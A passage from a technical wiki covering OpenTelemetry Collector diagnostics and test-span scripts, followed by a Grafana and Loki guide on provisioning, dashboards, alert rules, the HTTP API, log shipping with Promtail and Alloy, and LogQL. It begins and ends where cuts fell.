Pods with auto-instrumentation injected by the Operator kubectl get pods -A -o json | jq -r '.items[] | select(.metadata.annotations["instrumentation.opentelemetry.io/inject-java"]=="true" or .metadata.annotations["instrumentation.opentelemetry.io/inject-python"]=="true") | "\(.metadata.namespace)/\(.metadata.name)"' # OTEL_ variables the Operator injected into a running pod kubectl exec -n my-namespace my-pod -c app -- env | grep ^OTEL_ | sort # Collector pods and their restart counts kubectl get pods -n observability -l app.kubernetes.io/name=opentelemetry-collector -o custom-columns='POD:.metadata.name,RESTARTS:.status.containerStatuses[0].restartCount,REASON:.status.containerStatuses[0].lastState.terminated.reason' # Collector config as deployed, from its ConfigMap (the Helm chart stores it under the key "relay") kubectl get cm -n observability otel-collector -o jsonpath='{.data.relay}' > deployed.yaml && otelcol validate --config=deployed.yaml # Reload Collector pods after a ConfigMap change (they do not watch the file) kubectl rollout restart deploy/otel-collector -n observability # Errors and forbidden responses in the Collector log in the last 10 minutes kubectl logs -n observability deploy/otel-collector --since=10m | grep -E '"level":"(error|warn)"' | head # Search Tempo for the trace you just generated curl -sS "https://tempo.example.com/api/traces/${tp:3:32}" -H "X-Scope-OrgID: my-tenant" | jq '.batches[].resource' # Search Jaeger for recent traces from one service curl -sS 'http://localhost:16686/api/traces?service=my-app&limit=5' | jq '.data[].traceID' ``` Internal metric names can carry a `_total` suffix depending on the Prometheus exporter settings, so match on the prefix as above. See [internal telemetry](https://opentelemetry.io/docs/collector/internal-telemetry/). ## Scripts Post a test span and confirm the receiver counted it, so a "no data" report can be split into ingest and export halves from inside the cluster. ```sh #!/usr/bin/env bash # usage: otel-ingest-check.sh [collector-host] ; needs curl and the Collector's 8888 port reachable set -euo pipefail host=${1:-localhost} accepted() { curl -sf "http://$host:8888/metrics" | awk '/^otelcol_receiver_accepted_spans/ {s += $2} END {print s + 0}'; } before=$(accepted) tid=$(openssl rand -hex 16); sid=$(openssl rand -hex 8); now=$(date +%s%N) body=$(printf '{"resourceSpans":[{"resource":{"attributes":[{"key":"service.name","value":{"stringValue":"ingest-check"}}]},"scopeSpans":[{"spans":[{"traceId":"%s","spanId":"%s","name":"ingest-check","kind":1,"startTimeUnixNano":"%s","endTimeUnixNano":"%s"}]}]}]}' "$tid" "$sid" "$now" "$now") code=$(curl -sS -o /dev/null -w '%{http_code}' -X POST "http://$host:4318/v1/traces" -H 'Content-Type: application/json' -d "$body") [[ $code == 200 ]] || { printf 'receiver returned %s\n' "$code" >&2; exit 1; } sleep 2 after=$(accepted) printf 'trace %s accepted; receiver counter %s -> %s\n' "$tid" "$before" "$after" (( after > before )) || { printf 'counter did not move: is 8888 the right Collector?\n' >&2; exit 1; } ``` Summarise a Collector's health from its internal metrics: refused, failed and queued data per component, so the failing stage is obvious before reading logs. ```sh #!/usr/bin/env bash # usage: otel-collector-report.sh [collector-host] set -euo pipefail host=${1:-localhost} m=$(curl -sf --max-time 5 "http://$host:8888/metrics") || { echo "cannot scrape $host:8888" >&2; exit 1; } health=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://$host:13133" || true) printf 'health_check: %s\n\n' "${health:-unreachable}" printf '%-34s %-28s %12s\n' METRIC COMPONENT VALUE printf '%s\n' "$m" | awk ' /^otelcol_(receiver_refused|exporter_send_failed|exporter_enqueue_failed|processor_refused|exporter_queue_size|exporter_queue_capacity)/ { name = $1; sub(/\{.*/, "", name) comp = ""; if (match($0, /(receiver|exporter|processor)="[^"]*"/)) comp = substr($0, RSTART, RLENGTH) if ($2 + 0 > 0) printf "%-34s %-28s %12d\n", name, comp, $2 }' printf '\nrss: %s MiB\n' "$(printf '%s\n' "$m" | awk '/^otelcol_process_memory_rss/ {printf "%d", $2 / 1048576}')" ``` Generate a linked parent and child span with fresh IDs and post them over OTLP/HTTP using only the Python standard library, for checking a backend's trace view without installing an SDK. ```python #!/usr/bin/env python3 """usage: otel-test-trace.py [http://localhost:4318]""" import json, secrets, sys, time, urllib.request endpoint = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4318").rstrip("/") trace_id, parent_id, child_id = secrets.token_hex(16), secrets.token_hex(8), secrets.token_hex(8) now = time.time_ns() def span(span_id, name, start, end, parent=None, kind=2): s = {"traceId": trace_id, "spanId": span_id, "name": name, "kind": kind, "startTimeUnixNano": str(start), "endTimeUnixNano": str(end), "attributes": [{"key": "http.request.method", "value": {"stringValue": "GET"}}]} if parent: s["parentSpanId"] = parent return s payload = {"resourceSpans": [{ "resource": {"attributes": [{"key": "service.name", "value": {"stringValue": "test-trace"}}]}, "scopeSpans": [{"scope": {"name": "manual"}, "spans": [ span(parent_id, "GET /orders", now - 300_000_000, now), span(child_id, "SELECT orders", now - 250_000_000, now - 50_000_000, parent=parent_id, kind=3), ]}]}]} req = urllib.request.Request(f"{endpoint}/v1/traces", data=json.dumps(payload).encode(), headers={"Content-Type": "application/json"}, method="POST") with urllib.request.urlopen(req, timeout=10) as resp: print(resp.status, resp.read().decode()) print(f"trace_id={trace_id}") ``` ## Troubleshooting | Symptom | Likely cause | Check | | --- | --- | --- | | No data from an SDK | Protocol and port mismatch, wrong endpoint path, SDK disabled | `env \| grep ^OTEL_`; SDK debug logging; send a test span from the same pod | | Collector fails to start | Unknown component name or key, often a contrib component in a core build | `otelcol validate`; `otelcol components` lists what the binary contains | | Deprecation warnings at start | Old component names on v0.144.0 or later | Rename to `otlp_grpc`, `otlp_http`, `k8s_attributes` and so on | | `connection refused` from the SDK | Receiver bound to `localhost` inside a container | Set receiver `endpoint: 0.0.0.0:4317` | | Service appears as `unknown_service` | `service.name` not set | Set `OTEL_SERVICE_NAME` | | Traces split into several traces | Propagation lost at a hop, or mismatched propagators | Log incoming `traceparent` at each hop; align `OTEL_PROPAGATORS` | | Traces with missing spans | Head sampling not parent-based, or tail sampling instances each saw part of the trace | Use `parentbased_*`; route by trace ID before `tail_sampling` | | `otelcol_receiver_refused_*` rising | `memory_limiter` refusing data | Collector memory metrics; raise limits or scale out | | `otelcol_exporter_queue_size` at capacity | Backend slow or down | `otelcol_exporter_send_failed_*`; backend health | | `k8s_attributes` adds nothing | RBAC missing, or the agent sees a proxy IP instead of the pod IP | Collector logs for forbidden errors; send from pods directly to the node agent | | Metrics duplicated or missing in Prometheus | Two Collectors write the same series, or resource attributes dropped | Compare `job` and `instance`; check `resource_to_telemetry_conversion` | | Go service exports spans but nothing links across services | `otel.SetTextMapPropagator` never called; the default propagator is a no-op | Set the composite `TraceContext` and `Baggage` propagator; check outbound requests for `traceparent` | | Last spans before exit never arrive | Process exited without `TracerProvider.Shutdown` (Go) or before the batch processor flushed (Python `atexit` skipped by `os._exit`) | Call shutdown with a timeout on `SIGTERM`; set `OTEL_BSP_SCHEDULE_DELAY` lower for short-lived jobs | | Python: `Overriding of current TracerProvider is not allowed` | `set_tracer_provider` called twice, usually once by `opentelemetry-instrument` and once in code | Remove the manual call under the launcher, or drop the launcher | | One span per health-check scrape | Probes instrumented like any request | `OTEL_PYTHON_EXCLUDED_URLS=healthz,metrics`; `otelhttp.WithFilter` in Go; or a `filter` processor on `url.path` | | Same service shows as two in the backend | Different `service.name` from env and code, or one pod with the old `deployment.environment` and one with `.name` | `kubectl exec -- env \| grep OTEL_`; `otelcol` `debug` exporter output for the resource | | Attribute names differ between services | Mixed old and stable HTTP semantic conventions | `OTEL_SEMCONV_STABILITY_OPT_IN=http` or `http/dup` on the older SDKs; upgrade instrumentation | | Every metric has the same value across pods, or series flap | Resource attributes not converted to labels, so pods overwrite one another | `resource_to_telemetry_conversion` on the exporter or `resource_constant_labels` on `prometheus` | | Delta counters missing after a Collector upgrade | Prometheus exporters drop delta temporality | `deltatocumulative` processor before the exporter, or `OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE=cumulative` in the SDK | | Collector memory climbs until OOM with `tail_sampling` | `num_traces` times average trace size exceeds the limit, or `decision_wait` too long | `otelcol_processor_tail_sampling_*` metrics; lower `num_traces` or add replicas behind the load-balancing exporter | | Config change has no effect | Collector does not reload on ConfigMap updates | `kubectl rollout restart` the Collector; confirm with `otelcol_process_uptime` | ## Further reading - [Collector configuration](https://opentelemetry.io/docs/collector/configuration/) and [contrib component list](https://github.com/open-telemetry/opentelemetry-collector-contrib) - [W3C Trace Context](https://www.w3.org/TR/trace-context/) - [Semantic conventions](https://opentelemetry.io/docs/specs/semconv/) - [Go SDK](https://opentelemetry.io/docs/languages/go/) and [Python zero-code configuration](https://opentelemetry.io/docs/zero-code/python/configuration/) - [OTLP specification](https://opentelemetry.io/docs/specs/otlp/) - [Jaeger getting started](https://www.jaegertracing.io/docs/latest/getting-started/) --- # Grafana and Loki > Provision Grafana datasources, dashboards and alerts as code, drive it through the HTTP API, and ship, query and tune logs in Loki with LogQL and logcli. Canonical: https://www.wiki.jodisand.me/grafana/ Reviewed: 2026-09-24 Related: [Prometheus](https://www.wiki.jodisand.me/prometheus/index.md), [OpenTelemetry](https://www.wiki.jodisand.me/opentelemetry/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Docker Compose](https://www.wiki.jodisand.me/docker-compose/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Is Grafana up | `curl -fsS http://grafana.example.com:3000/api/health` | | Find a dashboard | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "http://grafana.example.com:3000/api/search?query=my-app&type=dash-db"` | | Export a dashboard | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" http://grafana.example.com:3000/api/dashboards/uid/my-app \| jq .dashboard > my-app.json` | | Import a dashboard | `jq '{dashboard: (. + {id: null}), overwrite: true, folderUid: "ops"}' my-app.json \| curl -fsS -X POST -H "Authorization: Bearer $GRAFANA_TOKEN" -H 'Content-Type: application/json' -d @- http://grafana.example.com:3000/api/dashboards/db` | | List datasources | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" http://grafana.example.com:3000/api/datasources \| jq '.[] \| {name, type, uid}'` | | Datasource health | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" http://grafana.example.com:3000/api/datasources/uid/prometheus/health` | | Reload provisioned dashboards | `curl -fsS -X POST -H "Authorization: Bearer $GRAFANA_TOKEN" http://grafana.example.com:3000/api/admin/provisioning/dashboards/reload` | | Export alert rules as provisioning YAML | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" "http://grafana.example.com:3000/api/v1/provisioning/alert-rules/export?format=yaml"` | | Firing alerts | `curl -fsS -H "Authorization: Bearer $GRAFANA_TOKEN" http://grafana.example.com:3000/api/alertmanager/grafana/api/v2/alerts \| jq '.[].labels.alertname'` | | Is Loki ready | `curl -fsS http://loki.example.com:3100/ready` | | Label names in Loki | `logcli labels` | | Values of one label | `logcli labels app` | | Query the last hour | `logcli query --since 1h --limit 200 '{app="my-app"} \|= "error"'` | | Follow logs | `logcli query --tail '{app="my-app"}'` | | Raw lines only | `logcli query -o raw --since 15m '{app="my-app"} \| json \| level="error"'` | | Metric query | `logcli instant-query 'sum by (app) (rate({namespace="prod"} \|= "error" [5m]))'` | | Stream cardinality | `logcli series '{namespace="prod"}' --analyze-labels` | | Loki config as running | `curl -fsS http://loki.example.com:3100/config` | | Push a test line | `curl -fsS -X POST -H 'Content-Type: application/json' http://loki.example.com:3100/loki/api/v1/push -d "{\"streams\":[{\"stream\":{\"app\":\"test\"},\"values\":[[\"$(date +%s%N)\",\"hello\"]]}]}"` | | Alloy config check | `alloy fmt --verify /etc/alloy/config.alloy` | Behaviour below is Grafana 12.x and Loki 3.x with the TSDB index (schema v13). Promtail is deprecated and replaced by Alloy; the Promtail examples remain because existing deployments run it. References: [Grafana documentation](https://grafana.com/docs/grafana/latest/) and [Loki documentation](https://grafana.com/docs/loki/latest/). ## Provisioning as code Grafana reads `provisioning/` (`/etc/grafana/provisioning` in the package and image, or `[paths] provisioning` in `grafana.ini`) at startup: `datasources/`, `dashboards/`, `alerting/` and `plugins/`. Provisioned objects are marked read-only in the UI unless the file allows edits, and a UI edit to a provisioned dashboard is overwritten on the next reload. That is the point: the repository is the source of truth, the same way [Argo CD](https://www.wiki.jodisand.me/argocd/) owns manifests. ```yaml # provisioning/datasources/datasources.yaml apiVersion: 1 datasources: - name: Prometheus uid: prometheus # fixed uid so dashboards and alert rules can reference it without an id lookup type: prometheus access: proxy # Grafana's backend makes the request; the browser never reaches the datasource url: http://prometheus.example.com:9090 isDefault: true editable: false jsonData: httpMethod: POST timeInterval: 15s # scrape interval, drives $__rate_interval exemplarTraceIdDestinations: - name: trace_id datasourceUid: tempo - name: Loki uid: loki type: loki access: proxy url: http://loki.example.com:3100 jsonData: maxLines: 1000 derivedFields: # turn a trace id in a log line into a link - name: TraceID matcherRegex: 'trace_id=(\w+)' url: '$${__value.raw}' # $$ escapes Grafana's own interpolation in provisioning files datasourceUid: tempo secureJsonData: httpHeaderValue1: "$LOKI_TENANT" # environment variables expand; keep real values out of the file jsonData: httpHeaderName1: X-Scope-OrgID deleteDatasources: - name: Old Prometheus orgId: 1 ``` Datasource files are re-read only at startup or through `POST /api/admin/provisioning/datasources/reload`. Dashboards are different: a provider watches a directory and reloads changed files every `updateIntervalSeconds`. ```yaml # provisioning/dashboards/default.yaml apiVersion: 1 providers: - name: repo orgId: 1 type: file updateIntervalSeconds: 30 allowUiUpdates: false # true lets people save from the UI, and the file still wins at the next change disableDeletion: false # false: removing the file removes the dashboard options: path: /var/lib/grafana/dashboards foldersFromFilesStructure: true # subdirectory name becomes the folder ``` Two dashboards with the same `uid` in the tree make the provisioner log an error and skip one; a dashboard without a `uid` gets a random one on every import, breaking links. Give every dashboard file a fixed `uid` and a `title` unique within its folder. Alerting is provisioned from `provisioning/alerting/*.yaml` with top-level keys `contactPoints`, `policies`, `muteTimes`, `templates` and `groups` (rule groups), plus `deleteContactPoints`, `deleteRules` and so on for removal. The `data` block of a rule is the same JSON the UI produces, so the workflow that works is: build the rule in the UI, export it with `GET /api/v1/provisioning/alert-rules//export?format=yaml` (or the Export button), commit, and restart or reload. Hand-writing the `model` blocks is error-prone. ```yaml # provisioning/alerting/contact-points.yaml apiVersion: 1 contactPoints: - orgId: 1 name: oncall-slack receivers: - uid: oncall-slack type: slack settings: url: "$SLACK_WEBHOOK_URL" # expanded from the environment at load recipient: "#oncall" title: '{{ template "default.title" . }}' disableResolveMessage: false policies: - orgId: 1 receiver: oncall-slack # root policy: everything not matched below group_by: [alertname, namespace] group_wait: 30s group_interval: 5m repeat_interval: 4h routes: - receiver: oncall-slack object_matchers: - [severity, "=", critical] repeat_interval: 1h continue: false ``` Provisioning applies contact points first, then policies, then rules, then deletes; there is no rollback, so a broken rule file leaves earlier changes applied. Check `journalctl -u grafana-server` (or the container log) for `provisioning.alerting` errors after every change. ## Dashboard JSON essentials A dashboard is one JSON document. The fields that matter when writing or reviewing one: ```json { "uid": "my-app", "title": "my-app", "tags": ["team-platform"], "editable": false, "schemaVersion": 41, "time": { "from": "now-6h", "to": "now" }, "refresh": "1m", "templating": { "list": [] }, "panels": [ { "type": "timeseries", "title": "Requests per second", "gridPos": { "x": 0, "y": 0, "w": 12, "h": 8 }, "datasource": { "type": "prometheus", "uid": "prometheus" }, "targets": [ { "refId": "A", "expr": "sum by (status) (rate(http_requests_total{job=\"my-app\", namespace=\"$namespace\"}[$__rate_interval]))", "legendFormat": "{{status}}" } ], "fieldConfig": { "defaults": { "unit": "reqps", "min": 0, "thresholds": { "mode": "absolute", "steps": [ { "color": "green", "value": null }, { "color": "red", "value": 500 } ] } }, "overrides": [ { "matcher": { "id": "byRegexp", "options": "5.." }, "properties": [ { "id": "color", "value": { "mode": "fixed", "fixedColor": "red" } } ] } ] }, "options": { "legend": { "displayMode": "table", "placement": "right", "calcs": ["mean", "max", "lastNotNull"] }, "tooltip": { "mode": "multi", "sort": "desc" } } } ] } ``` `gridPos` is a 24-column grid; `y` positions are relative to the row and Grafana packs panels upward. `id` is per-instance and must be `null` (or absent) when importing through the API. A dashboard exported with "Export for sharing externally" carries an `__inputs` block and `${DS_PROMETHEUS}` datasource placeholders; those are for the import UI only and fail under file provisioning, so export without that option and reference datasources by fixed `uid`. Panel types worth knowing: `timeseries` (default graph), `stat` (single value with sparkline; set the target to `instant: true` and reduce to `lastNotNull`), `gauge` and `bargauge` (thresholds as fill), `table` (needs `format: table` on Prometheus targets and a Transform to organise columns), `logs` (Loki streams), `heatmap` (Prometheus histograms with `format: heatmap`), `text` (Markdown), `row` (collapsible group). Removed panel types are migrated automatically on load, but the migrated JSON is what you should commit. ## Variables and templating Variables live in `templating.list` and are referenced as `$var` or `${var}`, with a format modifier for multi-value: `${var:regex}` produces `(a|b)`, `${var:csv}` `a,b`, `${var:pipe}` `a|b`, `${var:queryparam}` for links. | Type | Use | Example | | --- | --- | --- | | `query` | Values from a datasource | `label_values(up{job="my-app"}, namespace)` | | `query` chained | Depends on another variable; refreshes when it changes | `label_values(kube_pod_info{namespace="$namespace"}, pod)` | | `custom` | Fixed list | `prod,staging,dev` | | `interval` | Step size selector, sets `$interval` | `1m,5m,15m,1h` with `auto` | | `datasource` | Pick a datasource of a type | Multi-cluster dashboards, one Prometheus per cluster | | `textbox` | Free text | Trace ID, user ID | | `constant` | Hidden value used in queries | Cluster name in a copied dashboard | | `adhoc` | Key/value filters the viewer adds; applied to every query on that datasource | Datasource-wide filtering | ```json { "name": "namespace", "type": "query", "datasource": { "type": "prometheus", "uid": "prometheus" }, "query": { "query": "label_values(kube_namespace_status_phase, namespace)", "refId": "ns" }, "refresh": 2, "regex": "/^(?!kube-).*/", "sort": 1, "multi": true, "includeAll": true, "allValue": ".+", "current": { "text": "All", "value": "$__all" } } ``` `refresh: 1` re-queries on dashboard load, `2` on time range change. Multi-value and `All` variables must be used with `=~`, and `allValue: ".+"` is faster than the default, which expands `All` to every value joined with `|`. Built-in variables: `$__rate_interval` (at least four scrape intervals; use it in every `rate()`), `$__interval` (the current step), `$__range` (the whole time range, for `increase(...[$__range])` in a stat), `$__from` and `$__to` (epoch milliseconds, `${__from:date:iso}` for ISO), `$__dashboard`, `$__org` and `$__user.login`. Loki queries use `$__auto` as the range selector, which is the Loki equivalent of `$__rate_interval`. ## Alert rules A Grafana-managed rule is a chain of queries and expressions: a datasource query (`A`), a `reduce` expression (`B`, last or mean over the range) and a `threshold` or `math` expression (`C`) that is the condition. The rule fires when the condition is non-zero for `for`, evaluated every `interval` of its group. Rules in one group are evaluated sequentially, so keep a group to rules that share an interval and are cheap. ```yaml apiVersion: 1 groups: - orgId: 1 name: my-app folder: platform interval: 1m rules: - uid: my-app-error-ratio title: my-app 5xx ratio above 5% condition: C for: 10m noDataState: NoData # a query returning nothing is not an outage; alert on absent() separately execErrState: Error labels: { severity: critical, team: platform } annotations: summary: "{{ $labels.namespace }}/my-app 5xx ratio is {{ $values.B | printf \"%.1f\" }}%" runbook_url: https://wiki.example.com/runbooks/my-app-5xx data: - refId: A relativeTimeRange: { from: 600, to: 0 } datasourceUid: prometheus model: expr: 100 * sum by (namespace) (rate(http_requests_total{job="my-app",status=~"5.."}[5m])) / sum by (namespace) (rate(http_requests_total{job="my-app"}[5m])) instant: true refId: A - refId: B datasourceUid: __expr__ model: { type: reduce, expression: A, reducer: last, refId: B } - refId: C datasourceUid: __expr__ model: { type: threshold, expression: B, refId: C, conditions: [ { evaluator: { type: gt, params: [5] } } ] } ``` Each distinct label set from query A becomes its own alert instance, so a `sum by (namespace)` produces one alert per namespace and a query without aggregation produces one per series, which is usually noise. Labels on the rule plus the series labels are what notification policies match on; annotations are for humans and can template `$labels` and `$values`. Rules that need the same Prometheus query as a dashboard panel should be Prometheus [alerting rules](https://www.wiki.jodisand.me/prometheus/#alerting-rules) evaluated by Prometheus, with Grafana only as the viewer, when the metrics side already runs Alertmanager; Grafana-managed rules are the choice when the source is Loki, SQL or a mix of datasources. Silence and inspect from the API: `GET /api/alertmanager/grafana/api/v2/alerts?active=true`, `POST /api/alertmanager/grafana/api/v2/silences` with the Alertmanager silence body, and `GET /api/prometheus/grafana/api/v1/rules` for rule state including the last evaluation error. ## Useful panel patterns ```promql # Error ratio as a percentage, safe when the denominator is zero 100 * sum(rate(http_requests_total{job="my-app",status=~"5.."}[$__rate_interval])) / clamp_min(sum(rate(http_requests_total{job="my-app"}[$__rate_interval])), 1) # p99 latency from a histogram; a heatmap panel takes the same query without histogram_quantile and format=heatmap histogram_quantile(0.99, sum by (le) (rate(http_request_duration_seconds_bucket{job="my-app"}[$__rate_interval]))) # Stat panel: total over the dashboard time range, one instant value sum(increase(jobs_completed_total{job="my-app"}[$__range])) # Table: current value per pod with restart count, format=table, instant=true, then Transform > Organize fields kube_pod_container_status_restarts_total{namespace="$namespace"} # Legend with variables and a fixed unit: legendFormat "{{pod}} ({{container}})", unit "bytes" container_memory_working_set_bytes{namespace="$namespace", container!=""} # Deployment markers: annotation query on a counter that increments on rollout changes(kube_deployment_status_observed_generation{namespace="$namespace"}[1m]) > 0 ``` Other patterns that pay off: a `Reduce` transform with `Series to rows` to get a top-N table from a time series; `Value mappings` to turn `0`/`1` into `down`/`up` in a stat; an override matching `byFrameRefID` to put a second query on the right axis; a `Join by field (time)` transform to divide two datasources' results; and the panel `interval` set to the scrape interval on counters so `rate()` never sees a range shorter than two samples. Set `maxDataPoints` low (a few hundred) on dashboards used over long ranges; it caps the step Grafana asks Prometheus for and is the difference between a two-second and a twenty-second load. ## The HTTP API with curl Authenticate with a service account token (Administration > Service accounts, or the API), never a user password. Tokens carry the account's role; create a `Viewer` account for read-only automation. ```sh G=http://grafana.example.com:3000 H="Authorization: Bearer $GRAFANA_TOKEN" curl -fsS "$G/api/health" # no auth: {"database":"ok","version":...} curl -fsS -H "$H" "$G/api/org" # confirms the token works and which org it is in curl -fsS -H "$H" "$G/api/search?type=dash-db&tag=team-platform" | jq -r '.[] | "\(.uid)\t\(.folderTitle)/\(.title)"' curl -fsS -H "$H" "$G/api/dashboards/uid/my-app" | jq '.dashboard' > my-app.json # .meta has folder, version, provisioned flag curl -fsS -H "$H" "$G/api/dashboards/uid/my-app/versions" | jq '.versions[] | {version, created, createdBy, message}' curl -fsS -H "$H" "$G/api/folders" | jq '.[] | {uid, title}' curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/folders" -d '{"uid":"ops","title":"Ops"}' # Import: id must be null, overwrite replaces a dashboard with the same uid; provisioned dashboards return 400 jq '{dashboard: (. + {id: null}), folderUid: "ops", overwrite: true, message: "from CI"}' my-app.json \ | curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/dashboards/db" -d @- curl -fsS -X DELETE -H "$H" "$G/api/dashboards/uid/old-dashboard" # permanent; export first curl -fsS -H "$H" "$G/api/datasources" | jq '.[] | {name, type, uid, url}' curl -fsS -H "$H" "$G/api/datasources/uid/prometheus/health" # Run a query through Grafana (uses the datasource's credentials, useful when the datasource is not reachable directly) curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/ds/query" -d '{"queries":[{"refId":"A","datasource":{"uid":"prometheus"},"expr":"up","instant":true}],"from":"now-5m","to":"now"}' | jq '.results.A.frames[0].data' # Annotation on a dashboard, for deploy markers curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/annotations" -d "{\"dashboardUID\":\"my-app\",\"time\":$(date +%s000),\"tags\":[\"deploy\"],\"text\":\"my-app 1.4.2\"}" # Alerting provisioning API: rules, contact points and policies as the same YAML the files use curl -fsS -H "$H" "$G/api/v1/provisioning/alert-rules" | jq '.[] | {uid, title, folderUID}' curl -fsS -H "$H" "$G/api/v1/provisioning/contact-points/export?format=yaml" curl -fsS -H "$H" "$G/api/v1/provisioning/policies/export?format=yaml" # Service account and token (admin) curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/serviceaccounts" -d '{"name":"ci","role":"Editor"}' curl -fsS -X POST -H "$H" -H 'Content-Type: application/json' "$G/api/serviceaccounts/12/tokens" -d '{"name":"ci-token"}' # prints the key once ``` Objects changed through the API but defined in provisioning files revert at the next reload; use `X-Disable-Provenance: true` on `/api/v1/provisioning/*` requests when a resource should be editable in the UI afterwards. ## Loki architecture Loki indexes labels, not log content. Every unique combination of label values is a stream; each stream's lines are batched into chunks, compressed and written to object storage (S3, GCS, Azure, or the filesystem for a single node), and the TSDB index records which chunks exist for which stream and time range. A query selects streams by label, fetches their chunks for the time range, and then filters and parses lines in the queriers. Cost therefore scales with the number of streams touched and bytes scanned, not with the number of lines that match, which is the opposite of [Elasticsearch](https://www.wiki.jodisand.me/elasticsearch/). | Component | Role | | --- | --- | | Distributor | Receives pushes, validates labels and rate limits per tenant, hashes streams to ingesters | | Ingester | Buffers lines per stream in memory (with a WAL), cuts chunks, flushes to object storage | | Querier | Executes queries against ingesters (recent data) and storage | | Query frontend and scheduler | Split long range queries by `split_queries_by_interval`, cache results, queue work fairly across tenants | | Compactor | Merges index tables, applies retention, processes delete requests; exactly one instance | | Ruler | Evaluates LogQL alerting and recording rules and sends to Alertmanager | | Index gateway | Serves the index to queriers so they do not each download it | Deployment modes are monolithic (`-target=all`, one process, fine to tens of GB per day), simple scalable (`read`, `write` and `backend` targets, each scaled separately, the Helm chart's default) and microservices. Configuration is the same file for all three; the mode only decides which components a process runs. ```yaml # /etc/loki/config.yaml, single node with filesystem storage auth_enabled: false # single tenant; multi-tenant deployments require X-Scope-OrgID on every request server: http_listen_port: 3100 grpc_listen_port: 9096 common: path_prefix: /var/lib/loki replication_factor: 1 ring: kvstore: { store: inmemory } storage: filesystem: chunks_directory: /var/lib/loki/chunks rules_directory: /var/lib/loki/rules schema_config: configs: - from: "2024-01-01" store: tsdb object_store: filesystem schema: v13 index: { prefix: index_, period: 24h } limits_config: retention_period: 744h # 31 days; needs the compactor block below ingestion_rate_mb: 8 ingestion_burst_size_mb: 16 per_stream_rate_limit: 5MB per_stream_rate_limit_burst: 20MB max_query_series: 1000 max_query_length: 0h # 0 removes the 30-day default cap reject_old_samples: true reject_old_samples_max_age: 168h allow_structured_metadata: true volume_enabled: true compactor: working_directory: /var/lib/loki/compactor retention_enabled: true delete_request_store: filesystem ruler: alertmanager_url: http://alertmanager.example.com:9093 ``` Labels should be few and bounded: `namespace`, `app`, `pod`, `container`, `level`, `host`, `job`. A label with an unbounded value set (user ID, request ID, path) creates a stream per value, each with its own chunk, which is how a Loki gets to millions of tiny chunks and 429s. Put such values in the line, or in structured metadata (Loki 3.0+), which is stored with the chunk, not the index, and is queryable with the same label-filter syntax. ## Shipping logs with Promtail and Alloy Promtail tails files, attaches labels through relabelling, runs pipeline stages, and pushes batches. Alloy is Grafana's successor: the same concepts with `loki.*` components in its own configuration language, plus the Prometheus and OpenTelemetry pipelines in one binary. Promtail reached end of life in March 2026; convert with `alloy convert --source-format=promtail --output=config.alloy promtail.yaml`. ```yaml # /etc/promtail/config.yaml server: { http_listen_port: 9080 } positions: { filename: /var/lib/promtail/positions.yaml } # where each file was left off; losing it re-reads everything clients: - url: http://loki.example.com:3100/loki/api/v1/push external_labels: { host: web-1 } scrape_configs: - job_name: journal journal: max_age: 12h labels: { job: systemd-journal } relabel_configs: - source_labels: ['__journal__systemd_unit'] target_label: unit - job_name: my-app static_configs: - targets: [localhost] labels: { job: my-app, __path__: /var/log/my-app/*.log } pipeline_stages: - json: expressions: { level: level, ts: timestamp } - timestamp: { source: ts, format: RFC3339Nano } - labels: { level: "" } # promote level to a label; bounded set, safe ``` ```alloy // /etc/alloy/config.alloy loki.source.journal "journal" { max_age = "12h" labels = { job = "systemd-journal" } relabel_rules = loki.relabel.journal.rules forward_to = [loki.write.default.receiver] } loki.relabel "journal" { forward_to = [] rule { source_labels = ["__journal__systemd_unit"] target_label = "unit" } } local.file_match "my_app" { path_targets = [{ __path__ = "/var/log/my-app/*.log", job = "my-app" }] } loki.source.file "my_app" { targets = local.file_match.my_app.targets forward_to = [loki.process.my_app.receiver] } loki.process "my_app" { stage.json { expressions = { level = "level", ts = "timestamp" } } stage.timestamp { source = "ts" format = "RFC3339Nano" } stage.labels { values = { level = "" } } stage.structured_metadata { values = { trace_id = "" } // high cardinality: metadata, not a label } forward_to = [loki.write.default.receiver] } loki.write "default" { endpoint { url = "http://loki.example.com:3100/loki/api/v1/push" } external_labels = { host = constants.hostname } } ``` ```sh alloy fmt --verify /etc/alloy/config.alloy # syntax and formatting; exit 1 on a diff alloy run --server.http.listen-addr=127.0.0.1:12345 /etc/alloy/config.alloy # UI at / shows every component, its health and discovered targets curl -fsS http://127.0.0.1:12345/-/ready curl -fsS http://127.0.0.1:12345/metrics | grep -E '^loki_(source_file_read_bytes_total|write_(sent|dropped)_entries_total)' ``` On Kubernetes the pattern is `discovery.kubernetes "pods"` feeding `discovery.relabel` (to map `__meta_kubernetes_namespace` and friends to `namespace`, `pod`, `container`) into `loki.source.kubernetes`, which reads through the API rather than mounting `/var/log/pods`. The Grafana `k8s-monitoring` Helm chart ships that wiring; see [Kubernetes](https://www.wiki.jodisand.me/kubernetes/) for the cluster side. ## LogQL A query starts with a stream selector, which must contain at least one non-empty matcher, and continues through a pipeline of stages. Order matters for cost: line filters run before parsers on raw bytes and are cheap; parsers run per line and are expensive; label filters after a parser run on the parsed fields. ```logql {namespace="prod", app="my-app"} # selector: =, !=, =~, !~ on labels {namespace="prod", app=~"my-app|my-worker"} |= "timeout" # line contains {app="my-app"} |= "timeout" != "healthz" # contains, and does not contain {app="my-app"} |~ "status=5[0-9]{2}" # regexp (RE2, no lookaround) {app="my-app"} |= ip("192.0.2.0/24") # IP match on the line {app="my-app"} | json # every JSON key becomes a label; nested keys joined with _ {app="my-app"} | json method="request.method", path="request.path" # only these, with JMESPath-style paths {app="my-app"} | logfmt # key=value pairs {app="nginx"} | regexp `(?P\w+) (?P\S+) 